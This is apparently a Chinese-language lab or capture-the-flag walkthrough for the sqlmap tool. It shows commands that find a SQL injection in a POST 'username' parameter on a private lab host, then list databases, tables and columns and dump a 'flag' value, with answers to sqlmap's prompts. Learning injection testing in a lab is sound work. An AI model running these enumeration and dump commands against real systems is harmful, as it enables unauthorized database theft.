sqlmap简介
sqlmap 目录结构
sqlmap常用参数
sqlmap实现注入
测试注入点,检测到注入点后,直接爆数据库名
python sqlmap.py –u http://172.16.12.2/7/9/strsql.php --data "username=admin" --dbs
注意sqlmap在使用过程中可能会出现几个需要输入的参数y/n, 按照下面的输入就可以
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
若电脑上存在多个版本的python,在使用时需指定python版本,注意下面的python2:
后面的 --data “username=admin” 意思是strsql.php这个文件的参数是username,data的意思是post方式提交的:
跑出来后的结果是web,还帮我们确认了数据库的版本号:
拿表名
python sqlmap.py -u "http://172.16.12.2/7/9/strsql.php" --data "username=admin" -D web --tables
表名:zflag,user
拿列名
python sqlmap.py -u "http://172.16.12.2/7/9/strsql.php" --data "username=admin" -D web -T zflag --columns
拿到列名
列名:flag
类型:varchar(40)
拿数据
python sqlmap.py -u "http://172.16.12.2/7/9/strsql.php" --data "username=admin" -D web -T zflag -C flag --dump